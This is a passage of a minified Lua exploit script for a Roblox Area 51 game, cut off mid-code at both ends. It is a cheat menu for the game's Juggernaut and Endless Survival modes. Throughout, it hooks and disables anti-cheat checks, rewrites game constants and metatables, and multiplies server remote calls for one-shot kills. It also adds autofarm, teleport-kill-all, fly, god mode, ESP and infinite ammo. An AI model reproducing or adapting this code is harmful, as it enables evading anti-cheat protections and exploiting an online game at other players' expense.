game.PlaceId==4678052190 then local o="BloodTheme"local x=n.CreateLib("Juggernaut Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("Teleports")game:GetService("Workspace").AREA51.MapLimit:Destroy()z:NewToggle("Juggernaut Autofarm:","Enables Autofarm for Juggernaut",function(R)if R then m.Notify("Enabled Autofarm","Press F to enable UI again","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end;for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA('TouchTransmitter')then v:Destroy()end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-5 until al.Humanoid.Health<=0 end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Kill all as Juggernaut","Kills all Players",function(R)if R then local ap=game.Workspace.Killers.Model;local aq=player.Character;local ar=game:GetService("Players"):GetPlayers()for K,v in pairs(ar)do repeat wait()ap.Torso.CFrame=CFrame.new(v.Character.Head.Position)until v.Character.Humanoid<=0 end else print("Toggle Off")end end)z:NewButton("Teleport to Juggernaut","Teleports to the juggernaut",function()repeat wait()for a2,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-6 end end until v.Humanoid.Health==0 end)z:NewToggle("Annoy Juggernaut:","Attempts to annoy Juggernaut",function(R)if R then m.Notify("Annoying Juggernaut","lol","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.autoFarm=true;local l=game.Workspace.CurrentCamera;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;if game.Players.LocalPlayer.Character.Humanoid.RigType==Enum.HumanoidRigType.R6 then game.Players.LocalPlayer.Character.Head.CanCollide=false;game.Players.LocalPlayer.Character.Torso.CanCollide=false;game.Players.LocalPlayer.Character["Left Leg"].CanCollide=false;game.Players.LocalPlayer.Character["Right Leg"].CanCollide=false else if game.Players.LocalPlayer.Character.Humanoid.RigType==Enum.HumanoidRigType.R15 then game.Players.LocalPlayer.Character.Head.CanCollide=false;game.Players.LocalPlayer.Character.UpperTorso.CanCollide=false;game.Players.LocalPlayer.Character.LowerTorso.CanCollide=false;game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide=false end end;wait(.1)local as=Instance.new("BodyThrust")as.Parent=game.Players.LocalPlayer.Character.HumanoidRootPart;as.Force=Vector3.new(power,0,power)as.Location=game.Players.LocalPlayer.Character.HumanoidRootPart.Position;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame until al.Humanoid.Health<=0 end end end end else _G.autofarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewButton("Exit-Spectate","Exits spectate",function()workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewButton("NoClip","Click this to turn on NoClip",function()k.Character.Humanoid:ChangeState(11)end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One Shot Juggernaut","Gives you more Damage on Killers",function()local a8={repeatamount=100,exceptions={"SayMessageRequest"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()for K,a7 in next,a8.exceptions do if ac.Name==a7 then return aa(ac,...)end end;if ae=="FireServer"or ae=="InvokeServer"then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("PLAYER ESP/JUGGERNAUT ESP")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Juggernaut ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.7;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace.Killers:GetDescendants())do pcall(function()if v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("AREA51 Doors:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)elseif game.PlaceId==2675280735 then local o="BloodTheme"local x=n.CreateLib("Endless Survival Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("Auto/Repair Planks")z:NewToggle("Autofarm Killers:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm","Press F to enable UI again","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.autoFarm=true;local l=game.Workspace.CurrentCamera;for a2,v in pairs(game:GetDescendants())do if v:IsA("TouchTransmitter")then v:Destroy()end end;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;while wait(0.5)do if _G.autoFarm==true then mouse1click()while wait(0.5)do for a2,al in pairs(game:GetService("Workspace").Killers:GetChildren())do if al:IsA("Model")then repeat wait(0.2)game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-7 until al.Zombie.Health<=0 end end end else _G.autofarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end end end)z:NewToggle("Auto-Repair Planks","Auto-Repairs Planks",function(R)if R then _G.autoRepair=true;while _G.autoRepair==true do wait(0.5)for K,v in pairs(game:GetService("Workspace").AREA51:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Parent.Name=="Planks"then fireclickdetector(v)end end end else _G.autoRepair=false end end)z:NewToggle("Auto-Turn-On-all Traps","Automatically turns on Traps",function(R)if R then _G.autoRepair=true;while _G.autoRepair==true do wait(0.5)for a2,v in pairs(game:GetService("Workspace").Traps:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Click"then fireclickdetector(v)end end end else _G.autoRepair=false end end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)z:NewButton("Turn-Power On","This turns on the power.",function()for a2,v in pairs(game:GetService("Workspace").AREA51.ElectricityRoom.PowerManager:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end end)z:NewButton("Turn-On all Traps","This turns on the all Traps..",function()for a2,v in pairs(game:GetService("Workspace").Traps:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Click"then fireclickdetector(v)end end end)z:NewButton("Repair Planks","Repairs all Planks.",function()for K,v in pairs(game:GetService("Workspace").AREA51:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Parent.Name=="Planks"then fireclickdetector(v)end end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One Shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("Purchase Perks:")local z=y:NewSection("1000 Points required for some perks.")z:NewButton("Juggernog","Purchases Juggernog",function()local player=game:getService("Players").LocalPlayer;local lastPosition=player.Character.PrimaryPart.Position;for a2,v in pairs(game:GetService("Workspace").Perks.Juggernog.Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks.Juggernog.Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Speed Cola","Purchases Speed Cola",function()for a2,v in pairs(game:GetService("Workspace").Perks['Speed Cola'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Speed Cola'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Double Tap","Purchases Double Tap",function()for a2,v in pairs(game:GetService("Workspace").Perks['Double Tap'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Double Tap'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Quick Revive","Purchases Quick Revive",function()for a2,v in pairs(game:GetService("Workspace").Perks['Quick Revive'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Quick Revive'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Deadshot Daiquiri","Purchases Deadshot Daiquiri",function()k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Deadshot Daiquiri'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil;for a2,v in pairs(game:GetService("Workspace").Perks['Deadshot Daiquiri'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)local y=x:NewTab("Settings:")local 